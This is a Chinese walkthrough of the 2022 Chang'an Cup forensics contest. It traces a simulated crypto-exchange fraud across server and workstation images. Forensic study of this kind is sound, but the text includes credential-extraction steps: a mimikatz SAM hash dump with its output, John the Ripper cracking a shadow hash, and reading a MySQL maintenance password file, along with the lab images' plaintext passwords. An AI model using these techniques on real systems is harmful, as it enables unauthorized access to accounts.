2022年第四届长安杯电子数据取证比武WP

2022长安杯题目解答

2022长安杯案情背景:某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。

检材的原始IP
检材1 172.16.80.133 网站前端页面
检材2 172.16.80.100 技术员PC电脑
检材3 172.16.80.128 网站后端数据库

检材1:根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题

1. 检材1的SHA256值为

9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
直接计算哈希值为:
9ffa17c4366660942fa79289db797faebba3e32c603574ff2b578a404af11666

Microsoft Windows [版本 10.0.22621.3155]
(c) Microsoft Corporation。保留所有权利。

E:\上海弘连出的题目\HL6长安杯2022\原始检材>certutil -hashfile E:\上海弘连出的题目\HL6长安杯2022\原始检材\检材1.e01 sha256
SHA256 的 E:\上海弘连出的题目\HL6长安杯2022\原始检材\检材1.e01 哈希:
9ffa17c4366660942fa79289db797faebba3e32c603574ff2b578a404af11666
CertUtil: -hashfile 命令成功完成。

题目可能问的是原始磁盘的哈希值,需要挂载后计算:
首先用AIM挂载
在这里插入图片描述

用X-ways打开物理磁盘PhysicalDrive4,计算哈希值(sha256)
在这里插入图片描述

注意,有的时候是通过16进制打开,有的时候是通过分区列表界面(如上图),计算的哈希值都是对的
在这里插入图片描述

答案为9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
思路三:通过X-ways的方法
在这里插入图片描述
在这里插入图片描述

2.分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

172.16.80.100
仿真检材1,登录系统后用ssh远程连接
注意,默认登陆后,/etc/sysconfig/network-scripts/ifcfg-ens33网卡文件配置的IP是static,172.16.80.133,无法用ssh连接,有两种解决方案
方案一:修改配置ifcfg-ens33

TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
NETMASK=255.255.255.0
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
NAME=ens33
UUID=a51d1d55-06ed-4c61-9cf8-4a71bc1010b2
DEVICE=ens33
ONBOOT=yes

需要修改一下,使用dhcp模式配置
看题目,搭建服务器的技术员,肯定是最先登录该服务器的,所以看最早的登录IP,就是技术员的IP地址
使用last -F命令,读取wtmp文件,查看登录日志

[root@localhost ~]# last -F
root     pts/0        192.168.221.1    Tue Feb 20 20:28:52 2024   still logged in                      
root     tty1                          Wed Feb 21 04:19:58 2024   still logged in                      
reboot   system boot  3.10.0-862.el7.x Wed Feb 21 04:18:04 2024 - Tue Feb 20 20:29:02 2024  (-7:-49)   
root     pts/1        172.16.80.100    Wed Oct 19 23:09:47 2022 - Wed Oct 19 23:31:30 2022  (00:21)    
root     pts/0        172.16.80.100    Wed Oct 19 22:48:27 2022 - Wed Oct 19 23:25:27 2022  (00:37)    
root     pts/0        172.16.80.100    Wed Oct 19 02:38:36 2022 - Wed Oct 19 04:56:49 2022  (02:18)    
root     pts/0        172.16.80.100    Wed Oct 19 00:18:18 2022 - Wed Oct 19 00:23:22 2022  (00:05)    
root     pts/0        172.16.80.100    Tue Oct 18 04:45:08 2022 - Tue Oct 18 04:52:12 2022  (00:07)    
reboot   system boot  3.10.0-862.el7.x Tue Oct 18 04:44:37 2022 - Tue Feb 20 20:29:02 2024 (490+16:44) 
root     pts/0        172.16.80.100    Tue Oct 18 03:56:19 2022 - crash                     (00:48)    
reboot   system boot  3.10.0-862.el7.x Tue Oct 18 03:55:53 2022 - Tue Feb 20 20:29:02 2024 (490+17:33) 
root     pts/0        172.16.80.100    Tue Oct 18 03:30:26 2022 - Tue Oct 18 03:55:09 2022  (00:24)    
reboot   system boot  3.10.0-862.el7.x Tue Oct 18 03:15:27 2022 - Tue Oct 18 03:55:39 2022  (00:40)    

wtmp begins Tue Oct 18 02:48:43 2022

3.检材1中,操作系统发行版本号为

7.5.1804

[root@localhost ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core) 

在etc目录下面有两个快捷方式文件,分别是system-release和redhat-release,但是实际读取的内容都是/etc/centos-release的文件内容,在/etc目录下,通过ll -a命令可以看到快捷方式指向文件的情况

[root@localhost etc]# ll -s | grep release
  4 -rw-r--r--.  1 root root       38 Apr 28  2018 centos-release
  4 -rw-r--r--.  1 root root       51 Apr 28  2018 centos-release-upstream
  4 -rw-r--r--.  1 root root      393 Apr 28  2018 os-release
  0 lrwxrwxrwx.  1 root root       14 Nov 24  2021 redhat-release -> centos-release
  0 lrwxrwxrwx.  1 root root       14 Nov 24  2021 system-release -> centos-release
  4 -rw-r--r--.  1 root root       23 Apr 28  2018 system-release-cpe
[root@localhost etc]# 

centos-release、system-release、redhat-release三个文件看到的内容是一样的

[root@localhost etc]# cat /etc/centos-release
CentOS Linux release 7.5.1804 (Core) 
[root@localhost etc]# cat /etc/system-release
CentOS Linux release 7.5.1804 (Core) 
[root@localhost etc]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core) 
[root@localhost etc]# cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
[root@localhost etc]# 

4.检材1系统中,网卡绑定的静态IP地址为

172.16.80.133
使用X-ways打开检材1镜像文件,在/etc/sysconfig/network-scripts目录下,导出ifcfg-ens33文件,使用txt进行查看
在这里插入图片描述

TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
IPADDR=172.16.80.133
NETMASK=255.255.255.0
GATEWAY=172.16.80.1
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=a51d1d55-06ed-4c61-9cf8-4a71bc1010b2
DEVICE=ens33
ONBOOT=yes

这里有个注意事项,就是必须用管理员身份运行X-ways,否则导出的文件大小是0,无法查看其内容

5.检材1中,网站jar包所存放的目录是 答案为绝对路径,如“/home/honglian/”

/web/app
第一步:启动X-ways,打开用AIM挂载的E01镜像磁盘
第二部:点击菜单栏查看按钮,显示案件数据窗口
第三步:在案件数据窗口,新建案件,填写案件名称,并设置案件目录为F盘
第四步:右键标题栏硬盘4,选择添加到当前活动的案件
第五步:双击分区4,进行磁盘快照
第六步:在案件数据栏,右击分区四,选择递归浏览,显示所有文件
第七步:在右侧分区4文件名称列,点击漏斗,设置过滤条件 过滤“*.jar”
第八步:过滤出所有jar文件后,按照修改时间倒序排列
下图是排序之后的界面,我们可以看出,其中最近修改过的jar文件只有5个,并且都在\web\app路径下,其他的都是2018年以前的。由此我们可以判断网站jar包所存放的目录是\web\app
在这里插入图片描述

文件筛选 + 时间排序 技战法
在这里插入图片描述

6.检材1中,监听7000端口的进程对应文件名为 答案含扩展名,如“1.jpg”

cloud.jar
使用X-ways导出上题中找到的的5个jar文件
使用jd-gui依次查看内容,只有cloud.jar监听的是7000端口
在这里插入图片描述

7.检材1中,网站管理后台页面对应的网络端口为 答案填写阿拉伯数字,如“100”

9090

[root@localhost network-scripts]# history | grep start_web.sh
  764  chmod +x start_web.sh 
  765  ./start_web.sh 
  771  ./start_web.sh 
  782  ./start_web.sh 
  806  bash ./start_web.sh 
  837  bash start_web.sh 
  857  bash start_web.sh 
  869  bash start_web.sh 
  874  ./start_web.sh 
  886  ./start_web.sh 
  894  ./start_web.sh 
  919  cat start_web.sh cd /var/lo
  930  ./start_web.sh 
  936  ./start_web.sh 
  946  sh start_web.sh 
  949  sh start_web.sh 
  976  sh start_web.sh 
  980  rm -rf start_web.sh 
 1017  history | grep start_web.sh
[root@localhost network-scripts]# 

由历史命令我们可以看到,网站的启动脚本是start_web.sh,但是通过第980行可以看到,管理员最后删掉了该网站的脚本。
过滤执行关键字“java -jar”

[root@localhost network-scripts]# history | grep "java -jar"
   27  java -jar market.jar 
   30  java -jar market.jar 
   33  java -jar market.jar 
   38  java -jar admin-api.jar
   42  java -jar admin-api.jar
  145  java -jar ucenter-api.jar 
  152  java -jar ucenter-api.jar 
  281  java -jar ucenter-api.jar 
  284  java -jar ucenter-api.jar 
  287  java -jar ucenter-api.jar 
  370  java -jar otc-api.jar 
  732  java -jar otc-api.jar 
  768  java -jar market.jar 
  791  java -jar cloud.jar 
  792  nohup java -jar cloud.jar &
  793  java -jar market.jar 
  796  java -jar market.jar 
  826  nohup java -jar /web/app/cloud.jar &
  827  java -jar /web/app/market.jar
  839  java -jar /web/app/market.jar
  840  nohup  java -jar /web/app/market.jar &
  841  nohup  java -jar /web/app/exchange.jar &
  842  nohup  java -jar /web/app/admin-api.jar &
  843  nohup  java -jar /web/app/ucenter-api.jar &
  845  nohup  java -jar /web/app/market.jar &
  865  nohup java -jar /web/app/cloud.jar &
  866  java -jar /web/app/market.jar
  876  java -jar market.jar 
  891  java -jar market.jar 
 1021  history | grep java -jar
 1025  history | grep "java -jar"
[root@localhost network-scripts]# 

由以上结果我们可以看到,网站的启动主要集中在第六题导出的五个jar包,但是启动顺序不知道,所以还是需要启动脚本。
在进入检材2之后,我们会发现,启动脚本就存储在检材2的D盘中,
用第二题的IP地址解压检材2
在检材2分区5(D盘)中找到start_web.sh,导出到本地
找start_web.sh文件的方法,思路有两个
思路一:分别递归浏览分区3(C盘)和分区5(D盘),然后按照文件名“start_web.sh”过滤
在这里插入图片描述

思路二:分别递归浏览分区3(C盘)和分区5(D盘),按照修改时间倒序排序,出题修改的文件,时间都是最新的。
在这里插入图片描述

将start_web.sh脚本导入检材1,并chmod授权777.
检材1是前端页面服务器,如果按start_web.sh启动了,页面是可以打开的,但是无法登录,因为后端服务器(检材3)还没启动。
但是实际上,根据检材2中D盘的“建站笔记.txt”,应该先启动后端,然后在启动前端,前端的5个jar包也是有先后顺序的。
在这里插入图片描述

8.检材1中,网站前台页面里给出的APK的下载地址是 答案格式如下:https://www.forensix.cn/abc/def

启动sh脚本后,访问检材1的3000端口,即可打开前台页面
在这里插入图片描述
在这里插入图片描述

https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1

9.检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

md5
这个题直接找还是挺难找的
最好的颁发是根据浏览器的访问路径去找
打开后台页面后,随便输入用户名、密码、和验证码(如果后端服务器未启动,显示不了验证码图片),点击登录
谷歌浏览器按F12,选择网络,可以看到前端页面访问的路径,
在这里插入图片描述

按照这个路径去admin-api.jar源代码里面去找

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

9题10题的关键是通过浏览器的网络抓包,找到前端页面访问的路径
这一步的时候也可以不启动后端,不影响

10.分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
如上提,this.md5Key就是盐值
两种分析思路
静态,直接看源代码
动态在检材2中导出start_web.sh脚本,导入检材1中
通过启动脚本启动之后,进行访问
在这里插入图片描述

按照路径去找
在这里插入图片描述
在这里插入图片描述

检材2:根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材2”,分析所有掌握的检材回答下列问题

11.检材2中,windows账户Web King的登录密码是

135790
第一步:通过X-way导出\Windows\System32\config目录下的SAM文件和SYSTEM文件
第二步:打开mimikatz.exe所在目录,并把SAM文件和SYSTEM文件拷贝到该目录下
在这里插入图片描述

第三步:该目录下运行cmd命令终端:输入mimikatz进入mimikatz的命令行
Microsoft Windows [版本 10.0.22621.3155]
© Microsoft Corporation。保留所有权利。

D:\ProgramFiles\破解逆向解密隐写\mimikatz_trunk\x64>mimikatz

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

执行命令lsadump::sam /sam:SAM /system:SYSTEM,获取密码哈希

mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : DESKTOP-QGNDMSD
SysKey : 720d878a598fdc16028dfc833350c100
Local SID : S-1-5-21-204202394-306893149-2798176517
SAMKey : fbb48f1ae9b4aa79454422c1fadc3494
RID  : 000001f4 (500)
User : Administrator
RID  : 000001f5 (501)
User : Guest
RID  : 000001f7 (503)
User : DefaultAccount
RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 301b4a26b5601d111639e832cba6bf51
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 8db9b38c07f279b0190f31aaac5cf7f2
* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ca3213f3ab28cc6e60cd65df893d71bc9be758d26b2dfd45b5fd023a4eefa00b
      aes128_hmac       (4096) : 2083e930077bdece27e06f4cafe30207
      des_cbc_md5       (4096) : 9d5470521a97dfdc
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 9d5470521a97dfdc
RID  : 000003e9 (1001)
User : Web King
  Hash NTLM: 7ec356a830f3ff153346b018879cfbf1
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : a2546db534698846564cfaba5eea6e5b
* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-QGNDMSDWeb King
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 513bdae3e433f514b4ffe132bc987f4a1d8c14b6c9d16f64f8abcf9d3f8ef9f1
      aes128_hmac       (4096) : 6074905a547c8f7f4be15940c5924762
      des_cbc_md5       (4096) : 0715bafe16cb31f2
    OldCredentials
      aes256_hmac       (4096) : 513bdae3e433f514b4ffe132bc987f4a1d8c14b6c9d16f64f8abcf9d3f8ef9f1
      aes128_hmac       (4096) : 6074905a547c8f7f4be15940c5924762
      des_cbc_md5       (4096) : 0715bafe16cb31f2
* Packages *
    NTLM-Strong-NTOWF
* Primary:Kerberos *
    Default Salt : DESKTOP-QGNDMSDWeb King
    Credentials
      des_cbc_md5       : 0715bafe16cb31f2
    OldCredentials
      des_cbc_md5       : 0715bafe16cb31f2

打开CMD5.COM网站,可以直接破解该密码
在这里插入图片描述

12.检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

172.16.80.128
仿真后的检材2,界面如下图
在这里插入图片描述

我们可以看到桌面上有Xshell,但是双击后,无法运行
在这里插入图片描述

我们查看xshell的日志,注意XSHELL的日志不在安装目录下,而是在C盘的文档中
在这里插入图片描述

注意:C:\Users\Web King\Documents\NetSarang Computer\7\Xshell路径下有Logs和Sessions两个文件夹,Logs目录是空的,打开Sessions目录,可以看到连结果的IP
在这里插入图片描述

我们根据第4题,知道检材1的IP地址是172.16.80.133,所以题目问除检材1以外,还远程连接过哪个IP地址就是172.16.80.128,这个IP其实是检材3的IP地址
解法二:静态解法,通过X-ways找到对应路径
在这里插入图片描述

13.检材2中,powershell中输入的最后一条命令是

ifconfig
Powershell和CMD的区别就是powershell保存历史记录,而CMD不保存
思路一:静态解法
Powershell的历史记录保存在\Users\Web King\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine目录下的ConsoleHost_history.txt文件中,通过预览功能查看文件内容
在这里插入图片描述

动态解法:仿真后,打开powershell终端,通过向上键,查看上一个命令
在这里插入图片描述

14.检材2中,下载的涉案网站源代码文件名为 答案含扩展名,如:“1.jpg”

ZTuoExchange_framework-master.zip
动态做法:
仿真后,打开浏览器,打开下载界面,发现下载了五个文件
在这里插入图片描述

除去微信和winrar和题目没有关系,另外三个分别是
goDCE-master:数字货币交易所
huobi-autotrading-master:火币网自动化交易工具
ZTuoExchange_framework-master:ZTuo数字资产交易平台
这时候推测是ZTuoExchange_framework-master,但是还需要证据
对检材1进行过滤,过滤apk文件,发现了ZTuoExchange.apk文件
根据题目,可推断是ZTuoExchange_framework-master
在这里插入图片描述

并且这个zip的目录也和检材1中的几个jar包名字对应
在这里插入图片描述

静态做法:X-ways查看检材2下载目录
在这里插入图片描述

15.检材2中,网站管理后台root账号的密码为

root
动态解法
在这里插入图片描述

静态解法:谷歌保存的密码存储在检材2.E01/分区6/Users/Web King/AppData/Local/Google/Chrome/User Data/Default目录下的Login Data文件中,该文件十个SQlite文件,可以用navicat打开,但是经过尝试,密码处于加密的状态
在这里插入图片描述

暂时不知如何解密,目前只能通过仿真查看

16.检材2中,技术员使用的WSL子系统发行版本是 答案格式如下:windows 10.1

Ubuntu-20.04
仿真后,开始菜单里面,可以看到两个wsl子系统
在这里插入图片描述

动态方法:仿真后,启动powershell,输入命令wsl -l -v可以看到只有一个安装成功

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\Web King> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Stopped         1
PS C:\Users\Web King>

静态解法:X-ways打开对应位置\Users\Web King\AppData\Local\Packages
打开后发现,22.04版本的系统并没有安装完成,所以,题目所指的应该就是20.04系统
在这里插入图片描述

17.检材2中,运行的数据库服务版本号是 答案格式如下:10.1

8.0.30
检材2是windows系统,通过查看服务和控制面板,并没有安装mysql服务,所以推测在wsl子系统中
动态方法:仿真后,通过开始菜单,进入20.04版本的Ubuntu系统,输入mysql -V,查看mysql的版本
在这里插入图片描述

mysql Ver 8.0.30-0ubuntu0.20.04.2 for Linux on x86_64 ((Ubuntu))
静态方法:X-way加载检材2,在分区3的\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs\var\lib\dpkg\路径下导出文件status,其中记载着版本信息
在这里插入图片描述

其中多出记载着版本信息,可以将内容复制粘贴到vscode中,检索mysql或者version
在这里插入图片描述

18.上述数据库debian-sys-maint用户的初始密码是

ZdQfi7vaXjHZs75M
debian-sys-maint中Debian系统对MySQL维护用的,可以理解为通过系统的某个“非常规”程序对Mysql进行备份恢复等行为时,该程序所使用的登录Mysql的账户。
这个debian-sys-maint用户只有Debian或Ubuntu服务器才有,所以如果您的服务器是Debain或Ubuntu,debian-sys-maint是个Mysql安装之后自带的用户,具体作用是重启及运行mysql服务,不过这个用户也有一个安全问题就是他的权限和ROOT是一样的,并且密码可以在/etc/mysql/debian.cnf文件中找到。
静态方法:
在这里插入图片描述
在这里插入图片描述

动态方法:

king@DESKTOP-QGNDMSD:~$ cd /etc/mysql
king@DESKTOP-QGNDMSD:/etc/mysql$ ls
conf.d  debian-start  debian.cnf  my.cnf  my.cnf.fallback  mysql.cnf  mysql.conf.d
king@DESKTOP-QGNDMSD:/etc/mysql$ cat debian.cnf
cat: debian.cnf: Permission denied
king@DESKTOP-QGNDMSD:/etc/mysql$ su root    ##需要切换root用户才能看/etc/mysql/debian.cnf文件
Password:                                   ##密码是123456 蒙对的
root@DESKTOP-QGNDMSD:/etc/mysql# ls
conf.d  debian-start  debian.cnf  my.cnf  my.cnf.fallback  mysql.cnf  mysql.conf.d
root@DESKTOP-QGNDMSD:/etc/mysql# cat debian.cnf
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host     = localhost
user     = debian-sys-maint
password = ZdQfi7vaXjHZs75M
socket   = /var/run/mysqld/mysqld.sock
[mysql_upgrade]
host     = localhost
user     = debian-sys-maint
password = ZdQfi7vaXjHZs75M
socket   = /var/run/mysqld/mysqld.sock
root@DESKTOP-QGNDMSD:/etc/mysql#

19.检材3服务器root账号的密码是

h123456
在检材2的题目中问检材3的root密码,答案应该存储在检材2中
可能会出现的地方:一个是相关的配置文件,一个是相关的连接记录
静态方法:这个其实是出现在wsl子系统king用户的历史命令中
在这里插入图片描述
在这里插入图片描述

动态方法:仿真起来后,通过开始菜单进入wsl子系统,通过history命令查看
方法三:通过题目12,我们知道检材3的IP地址是172.16.80.128
通过X-Ways导出wsl子系统的根目录CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc,然后使用filelocator在该目录下检索检材3的IP地址“172.16.80.128”,如下
在这里插入图片描述

很快便检索到了检材3的root密码h123456
爆破法:因为h123456密码比较简单,可以把shadow文件导出来,用john the ripper爆破,前提是字典中有h123456,否则也爆破不出来
下面是字典中没有h123456的爆破结果,可见没有爆破出来

D:\ProgramFiles\破解逆向解密隐写\john-1.9.0-jumbo-1-win64\run>john.exe C:\Users\renfe\Desktop\fupan\3333\etc\shadow
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 24 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 46 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:02:00  3/3 0g/s 14018p/s 14018c/s 14018C/s 18096a..sail2k
Session aborted

下面是字典中添加了h123456的爆破结果,很快就爆破出来了

D:\ProgramFiles\破解逆向解密隐写\john-1.9.0-jumbo-1-win64\run>john.exe C:\Users\renfe\Desktop\fupan\3333\etc\shadow
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 24 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 46 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:password.lst, rules:Wordlist
h123456          (root)
1g 0:00:00:00 DONE 2/3 (2024-02-22 14:52) 2.000g/s 18232p/s 18232c/s 18232C/s modem..Nesbitt
Use the "--show" option to display all of the cracked passwords reliably
Session completed

D:\ProgramFiles\破解逆向解密隐写\john-1.9.0-jumbo-1-win64\run>

检材3:根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题

20.检材3中,监听33050端口的程序名(program name)为

docker-proxy
[root@localhost ~]# netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      875/sshd            
tcp6       0      0 :::22                   :::*                    LISTEN      875/sshd            
[root@localhost ~]# history | grep docker | wc -c
3527
[root@localhost ~]# systemctl start docker
[root@localhost ~]# docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED         STATUS         PORTS                                                    NAMES
8eda4cb0b452   mysql:5.7.32   "docker-entrypoint.s…"   16 months ago   Up 3 seconds   33060/tcp, 0.0.0.0:33050->3306/tcp, :::33050->3306/tcp   mysql57
[root@localhost ~]# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      875/sshd            
tcp        0      0 0.0.0.0:33050           0.0.0.0:*               LISTEN      10866/docker-proxy  
tcp6       0      0 :::22                   :::*                    LISTEN      875/sshd            
tcp6       0      0 :::33050                :::*                    LISTEN      10871/docker-proxy  
[root@localhost ~]# 

第一步:检查端口占用,首先是netstat -ntlp命令检查端口占用,发现没有33050,
第二步:检查历史命令,发现大量docker相关记录
第三步:启动docker
第四步:再次查看端口占用,发现33050被docker的容器占用

21.除MySQL外,该网站还依赖以下哪种数据库

Mongo,redis
查看历史命令,以及jar文件的配置文件
Jar包分析法:分析jar文件
就看五个jar包的application.properties配置文件
Market.jar中有如下配置:

spring.data.mongodb.uri=mongodb://192.168.60.128:27017/bizzan

redis.hostName=192.168.60.128
redis.port=6379
redis.password=

admin-api.jar中有如下配置

#mongodb
spring.data.mongodb.uri=mongodb://172.16.80.128:27017/bizzan

#redis
redis.hostName=172.16.80.128
redis.port=6379
redis.password=

Ucenter-api.jar中有如下配置

#mongodb
spring.data.mongodb.uri=mongodb://192.168.60.128:27017/bizzan

redis.hostName=192.168.60.128
redis.port=6379
redis.password=

exchange.jar中有如下配置

#mongodb
spring.data.mongodb.uri=mongodb://192.168.60.128:27017/bizzan

通过以上对五个jar文件的分析,可以发现还有mongo和redis数据库
历史命令分析法:

[root@localhost ~]# history | grep redis | wc -l
46
[root@localhost ~]# history | grep mongo | wc -l
66
[root@localhost ~]#

可以看到,历史命令中配置了redis和mongo
本题关键,对常见的数据库要熟悉,有针对性的分析
方法三,动态方法
启动起网站的前台和后台后,用netstat 命令看

22.检材3中,MySQL数据库root账号的密码是

shhl7001
在这里插入图片描述

23 检材3中,MySQL数据库在容器内部的数据目录为

/var/lib/mysql
前宿后容:前面是宿主机的,后面是容器的
在这里插入图片描述

24 涉案网站调用的MySQL数据库名为

b1
查看jar文件的application.properties配置文件
在这里插入图片描述

25 勒索者在数据库中修改了多少个用户的手机号? 答案填写阿拉伯数字,如“15”

3

mysql> show variables like "%general%";
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | ON                              |
| general_log_file | /var/lib/mysql/8eda4cb0b452.log |
+------------------+---------------------------------+
2 rows in set (0.00 sec)
mysql> 

进入mysql数据库后,查看一般查询日志的路径
通过FTP导出该文件,用vscode打开查看
检索关键字Update ,但是有的update语句不是更新的手机号,需要排除,一共修改了3个用户的手机号
在这里插入图片描述

26 勒索者在数据库中删除的用户数量为 答案填写阿拉伯数字,如“15”

28
检索关键字delete from ,一共28次匹配
在这里插入图片描述

27 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过网站管理后台?用该地址解压检材4

172.16.80.197
在前端服务器172.16.80.133(检材3)中,/web/app下面有两处存储着日志,但是都不是网站的登录日志
在这里插入图片描述

本题的答案要去数据库里面看,而不是从日志看
在这里插入图片描述

这个admin_access_log数据表里面一共就两个IP地址,100是技术员的,另外一个197就是老板的

28 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

cee631121c2ec9232f3a2f028ad5c89b
查询member_wallet数据表
在这里插入图片描述

或者登录进网站,在会员管理里面找
在这里插入图片描述
在这里插入图片描述

29 还原全部被删改数据,共有多少名用户的会员等级为’LV3’ 答案填写阿拉伯数字,如“15”

164
28 条被删除的用户记录,28 个用户中有6个 LV3,共164个
这里的会员等级是member_grade_id,而不是member_level
在这里插入图片描述

实际上网站页面显示的代码不在admin-api.jar包里面,而是在/web/app/admin这个目录中
在这里插入图片描述

压缩导出该目录,解压后用vscode查看,终于找到了配置9090端口的地方,在/admin/build目录下的webpack.dev.config.js文件中
在这里插入图片描述

搜索会员等级,可以看到会员等级,实际显示的是memberGradeId字段的值
在这里插入图片描述

这样我们就可以通过sql语句进行检索了
Select count(*) from member where member_grade_id = 3
在这里插入图片描述

查询结果是158,但是不要忘了题目要求“还原全部被删改数据”,所以还要去看被删掉的28个用户,有几个会员等级是LV3,经过查看有6个
因为最后技术员初期,按照老板要求,插入了一些会员数据,后来与老板产生矛盾,删掉了id=973以后的28条数据,在做本题时,要去插入语句中,找删掉的这28条数据,有几个时会员等级为LV3的
在这里插入图片描述

往上找插入这28条数据的地方
在这里插入图片描述

根据数据库结构,倒数第四列是member_grade_id,往右拖动滚动条,可以看到一共6个LV3的会员,所以总数就是158+6=164
在这里插入图片描述

所以一共是164个
另外我们需要注意,弘联老师提示:当数据库member_grade_id为3的时候,用户的会员等级不一定是LV3,这个要根据代码去判断,比如本题中的代码如下

        {
            title: '会员等级',
            key: 'memberLevel',
            width: 160,
            render: (h, obj) => {
                let memberLevel = obj.row.memberGradeId;
                return h('span', {
                }, "LV" + memberLevel)
            }
        },

其中会员等级实际的是"LV" + memberGradeId,如果改为"LV" + memberGradeId + 1,那么就不是一一对应的了。
会有这种坑的,最好还是根据数据库内容与网站前台页面核对一下

30 还原全部被删改数据,哪些用户ID没有充值记录 答案填写阿拉伯数字,多个ID以逗号分隔,如“15,16,17”

318,989
方法一:没有充币,那么钱包余额肯定是0
Sql语句:select * from member_wallet where balance = 0
在这里插入图片描述

方法二:查询member表和member_transaction表
我们通过member_transaction表的设计表信息知道,amount列是充币金额,也就是只要充币就会有记录,另外member_id列是用户ID
在这里插入图片描述

将删掉id=973以后的28条数据复制出来,通过正则删掉前面的时间信息,每条语句最后加上分号,然后在数据库里面执行这些语句
在这里插入图片描述

执行成功,如下:
在这里插入图片描述

select * from member where id not in (select member_id from member_transaction)

在这里插入图片描述

注意,如果不恢复删掉的28条语句,那么只能查到318这一个结果

本题的关键:不要忘了,还有删掉的28条数据
方法三:

